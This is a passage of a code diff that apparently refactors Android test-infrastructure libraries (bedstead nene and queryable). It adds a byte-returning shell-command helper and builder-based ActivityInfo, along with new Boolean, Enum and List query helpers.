+        ParcelFileDescriptor fdOut = uiAutomation().executeShellCommand(command);
+
+        try {
+            try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
+                return FileUtils.readInputStreamFully(fis);
+            }
+        } catch (IOException e) {
+            throw new AdbException(
+                    "Error reading command output", command, e);
+        }
+    }
+
     private static void writeStdInAndClose(ParcelFileDescriptor fdIn, byte[] stdInBytes)
             throws IOException {
         if (stdInBytes != null) {
@@ -216,9 +266,9 @@
         }
     }
 
-    private static String readStreamAndClose(ParcelFileDescriptor fd) throws IOException {
+    private static byte[] readStreamAndClose(ParcelFileDescriptor fd) throws IOException {
         try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fd)) {
-            return new String(FileUtils.readInputStreamFully(fis));
+            return FileUtils.readInputStreamFully(fis);
         }
     }
 
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java
index d3923cd..5634ea5 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java
@@ -27,6 +27,8 @@
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AfterClass;
+import com.android.bedstead.harrier.annotations.BeforeClass;
 import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
@@ -42,8 +44,6 @@
 import com.android.bedstead.testapp.TestAppProvider;
 import com.android.eventlib.premade.EventLibDeviceAdminReceiver;
 
-import org.junit.AfterClass;
-import org.junit.BeforeClass;
 import org.junit.ClassRule;
 import org.junit.Ignore;
 import org.junit.Rule;
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
index 6ddf95c..7a87d1a 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UserReferenceTest.java
@@ -186,8 +186,9 @@
 
             EventLogs<ActivityCreatedEvent> logs =
                     ActivityCreatedEvent.queryPackage(sContext.getPackageName())
-                            .whereActivity().className().isEqualTo(TEST_ACTIVITY_NAME)
-                            .onUser(sDeviceState.secondaryUser().userHandle());
+                            .whereActivity().activityClass()
+                                .className().isEqualTo(TEST_ACTIVITY_NAME)
+                            .onUser(sDeviceState.secondaryUser());
             assertThat(logs.poll()).isNotNull();
         } finally {
             sTestApis.users().system().switchTo();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
index 632afab..0640104 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ActivityInfo.java
@@ -18,31 +18,71 @@
 
 import android.app.Activity;
 
+
 /**
  * Wrapper for information about an {@link Activity}.
  *
  * <p>This is used instead of {@link Activity} so that it can be easily serialized.
  */
-public class ActivityInfo extends ClassInfo {
+public final class ActivityInfo extends ClassInfo {
 
-    public ActivityInfo(Activity activity) {
-        this(activity.getClass());
+    private final boolean mExported;
+
+    public static Builder builder() {
+        return new Builder();
     }
 
-    public ActivityInfo(Class<? extends Activity> activityClass) {
-        this(activityClass.getName());
+    public static Builder builder(android.content.pm.ActivityInfo activityInfo) {
+        return builder()
+                .activityClass(activityInfo.name)
+                .exported(activityInfo.exported);
     }
 
-    public ActivityInfo(String activityClassName) {
-        super(activityClassName);
-        // TODO(scottjonathan): Add more information about the activity (e.g. parse the
-        //  manifest)
+    private ActivityInfo(String activityClass, boolean exported) {
+        super(activityClass);
+        mExported = exported;
     }
 
+    public boolean exported() {
+        return mExported;
+    }
+
+
     @Override
     public String toString() {
         return "Activity{"
                 + "class=" + super.toString()
+                + ", exported=" + mExported
                 + "}";
     }
+
+    public static final class Builder {
+        String mActivityClass;
+        boolean mExported;
+
+        public Builder activityClass(String activityClassName) {
+            mActivityClass = activityClassName;
+            return this;
+        }
+
+        public Builder activityClass(Activity activity) {
+            return activityClass(activity.getClass());
+        }
+
+        public Builder activityClass(Class<? extends Activity> activityClass) {
+            return activityClass(activityClass.getName());
+        }
+
+        public Builder exported(boolean exported) {
+            mExported = exported;
+            return this;
+        }
+
+        public ActivityInfo build() {
+            return new ActivityInfo(
+                    mActivityClass,
+                    mExported
+            );
+        }
+    }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
index 8fe37eb..56f4c62 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQuery.java
@@ -19,8 +19,15 @@
 import android.app.Activity;
 
 import com.android.queryable.Queryable;
+import com.android.queryable.info.ActivityInfo;
 
 /** Query for an {@link Activity}. */
-public interface ActivityQuery<E extends Queryable> extends ClassQuery<E>  {
+public interface ActivityQuery<E extends Queryable> extends Query<ActivityInfo>  {
 
+    static ActivityQuery<ActivityQuery<?>> activity() {
+        return new ActivityQueryHelper<>();
+    }
+
+    ClassQuery<E> activityClass();
+    BooleanQuery<E> exported();
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
index 77a6191..05146f8 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ActivityQueryHelper.java
@@ -23,29 +23,38 @@
 public final class ActivityQueryHelper<E extends Queryable> implements ActivityQuery<E> {
 
     private final E mQuery;
-    private final ClassQueryHelper<E> mClassQueryHelper;
+    private final ClassQueryHelper<E> mActivityClassQueryHelper;
+    private final BooleanQueryHelper<E> mExportedQueryHelper;
+
+    ActivityQueryHelper() {
+        mQuery = (E) this;
+        mActivityClassQueryHelper = new ClassQueryHelper<>(mQuery);
+        mExportedQueryHelper = new BooleanQueryHelper<>(mQuery);
+    }
 
     public ActivityQueryHelper(E query) {
         mQuery = query;
-        mClassQueryHelper = new ClassQueryHelper<>(query);
+        mActivityClassQueryHelper = new ClassQueryHelper<>(query);
+        mExportedQueryHelper = new BooleanQueryHelper<>(query);
     }
 
     @Override
-    public E isSameClassAs(Class<?> clazz) {
-        return mClassQueryHelper.isSameClassAs(clazz);
+    public ClassQuery<E> activityClass() {
+        return mActivityClassQueryHelper;
     }
 
     @Override
-    public StringQuery<E> className() {
-        return mClassQueryHelper.className();
+    public BooleanQuery<E> exported() {
+        return mExportedQueryHelper;
     }
 
     @Override
-    public StringQuery<E> simpleName() {
-        return mClassQueryHelper.simpleName();
-    }
-
     public boolean matches(ActivityInfo value) {
-        return mClassQueryHelper.matches(value);
+        return mActivityClassQueryHelper.matches(value)
+                && mExportedQueryHelper.matches(value.exported());
+    }
+
+    public static boolean matches(ActivityQueryHelper<?> activityQueryHelper, ActivityInfo value) {
+        return activityQueryHelper.matches(value);
     }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQuery.java
new file mode 100644
index 0000000..e3e2cd1
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQuery.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import com.android.queryable.Queryable;
+
+public interface BooleanQuery<E extends Queryable> extends Query<Boolean> {
+
+    static BooleanQuery<BooleanQuery<?>> Boolean() {
+        return new BooleanQueryHelper<>();
+    }
+
+    E isTrue();
+    E isFalse();
+    E equals(boolean value);
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQueryHelper.java
new file mode 100644
index 0000000..29545e0
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BooleanQueryHelper.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import com.android.queryable.Queryable;
+
+public final class BooleanQueryHelper<E extends Queryable> implements BooleanQuery<E> {
+
+    private final E mQuery;
+    private Boolean mTargetValue = null;
+
+    BooleanQueryHelper() {
+        mQuery = (E) this;
+    }
+
+    public BooleanQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E isTrue() {
+        if (mTargetValue != null) {
+            throw new IllegalStateException("Cannot set multiple boolean filters");
+        }
+
+        mTargetValue = true;
+
+        return mQuery;
+    }
+
+    @Override
+    public E isFalse() {
+        if (mTargetValue != null) {
+            throw new IllegalStateException("Cannot set multiple boolean filters");
+        }
+
+        mTargetValue = false;
+
+        return mQuery;
+    }
+
+    @Override
+    public E equals(boolean value) {
+        if (mTargetValue != null) {
+            throw new IllegalStateException("Cannot set multiple boolean filters");
+        }
+
+        mTargetValue = value;
+
+        return mQuery;
+    }
+
+    @Override
+    public boolean matches(Boolean value) {
+        return (mTargetValue == null) || mTargetValue == value;
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQuery.java
index 45febeb..86f4571 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQuery.java
@@ -19,8 +19,14 @@
 import android.content.BroadcastReceiver;
 
 import com.android.queryable.Queryable;
+import com.android.queryable.info.BroadcastReceiverInfo;
 
 /** Query for an {@link BroadcastReceiver}. */
-public interface BroadcastReceiverQuery<E extends Queryable> extends ClassQuery<E>  {
+public interface BroadcastReceiverQuery<E extends Queryable> extends Query<BroadcastReceiverInfo>  {
 
+    static BroadcastReceiverQuery<BroadcastReceiverQuery<?>> broadcastReceiver() {
+        return new BroadcastReceiverQueryHelper<>();
+    }
+
+    ClassQuery<E> receiverClass();
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQueryHelper.java
index a63f700..299c3bb 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BroadcastReceiverQueryHelper.java
@@ -24,30 +24,26 @@
         implements BroadcastReceiverQuery<E> {
 
     private final E mQuery;
-    private final ClassQueryHelper<E> mClassQueryHelper;
+    private final ClassQueryHelper<E> mReceiverClassQueryHelper;
+
+    BroadcastReceiverQueryHelper() {
+        mQuery = (E) this;
+        mReceiverClassQueryHelper = new ClassQueryHelper<>(mQuery);
+    }
 
     public BroadcastReceiverQueryHelper(E query) {
         mQuery = query;
-        mClassQueryHelper = new ClassQueryHelper<>(query);
+        mReceiverClassQueryHelper = new ClassQueryHelper<>(query);
     }
 
     @Override
-    public E isSameClassAs(Class<?> clazz) {
-        return mClassQueryHelper.isSameClassAs(clazz);
-    }
-
-    @Override
-    public StringQuery<E> className() {
-        return mClassQueryHelper.className();
-    }
-
-    @Override
-    public StringQuery<E> simpleName() {
-        return mClassQueryHelper.simpleName();
+    public ClassQuery<E> receiverClass() {
+        return mReceiverClassQueryHelper;
     }
 
     /** {@code true} if all filters are met by {@code value}. */
+    @Override
     public boolean matches(BroadcastReceiverInfo value) {
-        return mClassQueryHelper.matches(value);
+        return mReceiverClassQueryHelper.matches(value);
     }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
index 0ec1156..8e78201 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
@@ -25,7 +25,7 @@
 import java.io.Serializable;
 
 /** Query for a single key in a {@link Bundle}. */
-public interface BundleKeyQuery<E extends Queryable> extends Serializable {
+public interface BundleKeyQuery<E extends Queryable> {
 
     /** Require that the key exists. */
     E exists();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQuery.java
index 123f9e8..20e972f 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQuery.java
@@ -25,7 +25,11 @@
 import java.io.Serializable;
 
 /** Query for a {@link Bundle}. */
-public interface BundleQuery<E extends Queryable>  extends Serializable {
+public interface BundleQuery<E extends Queryable> extends Query<Bundle> {
+
+    static BundleQuery<BundleQuery> bundle() {
+        return new BundleQueryHelper<>();
+    }
 
     /** Query a given key on the {@link Bundle}. */
     @CheckResult
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
index ae4b85e..542857c 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
@@ -32,6 +32,10 @@
     private final E mQuery;
     private final Map<String, BundleKeyQueryHelper<E>> mKeyQueryHelpers = new HashMap<>();
 
+    BundleQueryHelper() {
+        mQuery = (E) this;
+    }
+
     public BundleQueryHelper(E query) {
         mQuery = query;
     }
@@ -44,6 +48,7 @@
         return mKeyQueryHelpers.get(key);
     }
 
+    @Override
     public boolean matches(Bundle value) {
         for (Map.Entry<String, BundleKeyQueryHelper<E>> keyQueries : mKeyQueryHelpers.entrySet()) {
             if (!keyQueries.getValue().matches(value, keyQueries.getKey())) {
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQuery.java
index 8fd7b1d..363badb 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQuery.java
@@ -19,11 +19,17 @@
 import androidx.annotation.CheckResult;
 
 import com.android.queryable.Queryable;
+import com.android.queryable.info.ClassInfo;
 
 import java.io.Serializable;
 
 /** Query for a {@link Class}. */
-public interface ClassQuery<E extends Queryable> extends Serializable {
+public interface ClassQuery<E extends Queryable> extends Query<ClassInfo> {
+
+    static ClassQuery<ClassQuery<?>> Class() {
+        return new ClassQueryHelper<>();
+    }
+
     /** Require that the class is the same as {@code clazz}. */
     E isSameClassAs(Class<?> clazz);
 
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
index 3eca12d..84917ef 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
@@ -29,6 +29,12 @@
     private final StringQueryHelper<E> mClassName;
     private final StringQueryHelper<E> mSimpleName;
 
+    ClassQueryHelper() {
+        mQuery = (E) this;
+        mClassName = new StringQueryHelper<>(mQuery);
+        mSimpleName = new StringQueryHelper<>(mQuery);
+    }
+
     public ClassQueryHelper(E query) {
         mQuery = query;
         mClassName = new StringQueryHelper<>(query);
@@ -50,6 +56,7 @@
         return mSimpleName;
     }
 
+    @Override
     public boolean matches(ClassInfo value) {
         if (!mClassName.matches(value.className())) {
             return false;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQuery.java
index 40a2ffe..0ad0647 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQuery.java
@@ -19,9 +19,15 @@
 import android.app.admin.DeviceAdminReceiver;
 
 import com.android.queryable.Queryable;
+import com.android.queryable.info.DeviceAdminReceiverInfo;
 
 /** Query for a {@link DeviceAdminReceiver}. */
 public interface DeviceAdminReceiverQuery<E extends Queryable>
-        extends BroadcastReceiverQuery<E>  {
+        extends Query<DeviceAdminReceiverInfo>  {
 
+    static DeviceAdminReceiverQuery<DeviceAdminReceiverQuery<?>> deviceAdminReceiver() {
+        return new DeviceAdminReceiverQueryHelper<>();
+    }
+
+    BroadcastReceiverQuery<E> broadcastReceiver();
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQueryHelper.java
index 68cec2f..7666877 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/DeviceAdminReceiverQueryHelper.java
@@ -24,30 +24,26 @@
         implements DeviceAdminReceiverQuery<E> {
 
     private final E mQuery;
-    private final ClassQueryHelper<E> mClassQueryHelper;
+    private final BroadcastReceiverQueryHelper<E> mBroadcastReceiverQueryHelper;
+
+    DeviceAdminReceiverQueryHelper() {
+        mQuery = (E) this;
+        mBroadcastReceiverQueryHelper = new BroadcastReceiverQueryHelper<>(mQuery);
+    }
 
     public DeviceAdminReceiverQueryHelper(E query) {
         mQuery = query;
-        mClassQueryHelper = new ClassQueryHelper<>(query);
+        mBroadcastReceiverQueryHelper = new BroadcastReceiverQueryHelper<>(query);
     }
 
     @Override
-    public E isSameClassAs(Class<?> clazz) {
-        return mClassQueryHelper.isSameClassAs(clazz);
-    }
-
-    @Override
-    public StringQuery<E> className() {
-        return mClassQueryHelper.className();
-    }
-
-    @Override
-    public StringQuery<E> simpleName() {
-        return mClassQueryHelper.simpleName();
+    public BroadcastReceiverQuery<E> broadcastReceiver() {
+        return mBroadcastReceiverQueryHelper;
     }
 
     /** {@code true} if all filters are met by {@code value}. */
+    @Override
     public boolean matches(DeviceAdminReceiverInfo value) {
-        return mClassQueryHelper.matches(value);
+        return mBroadcastReceiverQueryHelper.matches(value);
     }
 }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQuery.java
new file mode 100644
index 0000000..fb48f65
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQuery.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import com.android.queryable.Queryable;
+
+public interface EnumQuery<E extends Queryable, F> extends Query<F>  {
+    E isEqualTo(F value);
+    E isNotEqualTo(F value);
+    E isOneOf(F... values);
+    E isNotOneOf(F... values);
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
new file mode 100644
index 0000000..27e9659
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import com.android.queryable.Queryable;
+
+import java.io.Serializable;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+public final class EnumQueryHelper <E extends Queryable, F> implements EnumQuery<E, F>, Serializable {
+
+    private final E mQuery;
+    private Set<F> mIsEqualTo = null;
+    private Set<F> mIsNotEqualTo = null;
+
+    public EnumQueryHelper(E query) {
+        mQuery = query;
+    }
+
+    @Override
+    public E isEqualTo(F value) {
+        if (mIsEqualTo != null) {
+            throw new IllegalStateException("isEqualTo or isOneOf already specified");
+        }
+        mIsEqualTo = new HashSet<>();
+        mIsEqualTo.add(value);
+
+        return mQuery;
+    }
+
+    @Override
+    public E isNotEqualTo(F value) {
+        if (mIsNotEqualTo != null) {
+            throw new IllegalStateException("isNotEqualTo or isNotOneOf already specified");
+        }
+        mIsNotEqualTo = new HashSet<>();
+        mIsNotEqualTo.add(value);
+
+        return mQuery;
+    }
+
+    @Override
+    public E isOneOf(F... values) {
+        if (mIsEqualTo != null) {
+            throw new IllegalStateException("isEqualTo or isOneOf already specified");
+        }
+        mIsEqualTo = new HashSet<>();
+        mIsEqualTo.addAll(Arrays.asList(values));
+
+        return mQuery;
+    }
+
+    @Override
+    public E isNotOneOf(F... values) {
+        if (mIsNotEqualTo != null) {
+            throw new IllegalStateException("isNotEqualTo or isNotOneOf already specified");
+        }
+        mIsNotEqualTo = new HashSet<>();
+        mIsNotEqualTo.addAll(Arrays.asList(values));
+
+        return mQuery;
+    }
+
+    @Override
+    public boolean matches(F value) {
+        if (!checkIsEqualTo(value)) {
+            return false;
+        }
+
+        if (!checkIsNotEqualTo(value)) {
+            return false;
+        }
+
+        return true;
+    }
+
+    private boolean checkIsEqualTo(F value) {
+        if (mIsEqualTo == null) {
+            return true;
+        }
+
+        for (F v : mIsEqualTo) {
+            if (v == value) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    private boolean checkIsNotEqualTo(F value) {
+        if (mIsNotEqualTo == null) {
+            return true;
+        }
+
+        for (F v : mIsNotEqualTo) {
+            if (v == value) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQuery.java
index 5cb442f..1b4d6a1 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQuery.java
@@ -21,7 +21,12 @@
 import java.io.Serializable;
 
 /** Query for a {@link Integer}. */
-public interface IntegerQuery<E extends Queryable> extends Serializable {
+public interface IntegerQuery<E extends Queryable> extends Query<Integer> {
+
+    static IntegerQuery<IntegerQuery<?>> integer() {
+        return new IntegerQueryHelper<>();
+    }
+
     /** Require the {@link Integer} is equal to {@code i}. */
     E isEqualTo(int i);
 
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
index c6519d4..3223175 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
@@ -32,6 +32,10 @@
 
     private final E mQuery;
 
+    IntegerQueryHelper() {
+        mQuery = (E) this;
+    }
+
     public IntegerQueryHelper(E query) {
         mQuery = query;
     }
@@ -84,7 +88,8 @@
     }
 
     /** {@code true} if all filters are met by {@code value}. */
-    public boolean matches(int value) {
+    @Override
+    public boolean matches(Integer value) {
         if (mEqualToValue != null && mEqualToValue != value) {
             return false;
         }
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQuery.java
index 3c83f24..df8f907 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQuery.java
@@ -23,7 +23,11 @@
 import java.io.Serializable;
 
 /** Query for a {@link Intent}. */
-public interface IntentQuery<E extends Queryable>  extends Serializable {
+public interface IntentQuery<E extends Queryable> extends Query<Intent> {
+
+    static IntentQuery<IntentQuery<?>> intent() {
+        return new IntentQueryHelper<>();
+    }
 
     /** Query the {@link Intent#getAction}. */
     StringQuery<E> action();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
index d7774e7..6b7f04b 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
@@ -31,6 +31,12 @@
     private final StringQueryHelper<E> mAction;
     private final BundleQueryHelper<E> mExtras;
 
+    IntentQueryHelper() {
+        mQuery = (E) this;
+        mAction = new StringQueryHelper<>(mQuery);
+        mExtras = new BundleQueryHelper<>(mQuery);
+    }
+
     public IntentQueryHelper(E query) {
         mQuery = query;
         mAction = new StringQueryHelper<>(query);
@@ -48,6 +54,7 @@
     }
 
     /** {@code true} if all filters are met by {@code value}. */
+    @Override
     public boolean matches(Intent value) {
         if (!mAction.matches(value.getAction())) {
             return false;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
new file mode 100644
index 0000000..b4b945a
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.queryable.queries;
+
+import com.android.queryable.Queryable;
+
+import java.util.List;
+import java.util.Set;
+
+/** Query for a {@link java.util.List}. */
+public interface ListQuery<E extends Queryable, F, G extends Query<F>> extends Query<List<F>> {
+
+    static ListQuery<ListQuery<?, ?, ?>, ?, ?> list() {
+        return new ListQueryHelper<>();
+    }
+
+    IntegerQuery<E> size();
+
+    E contains(G... objects);
+    E doesNotContain(G... objects);
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
new file mode 100644
index 0000000..3be3e18
--- /dev/null
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
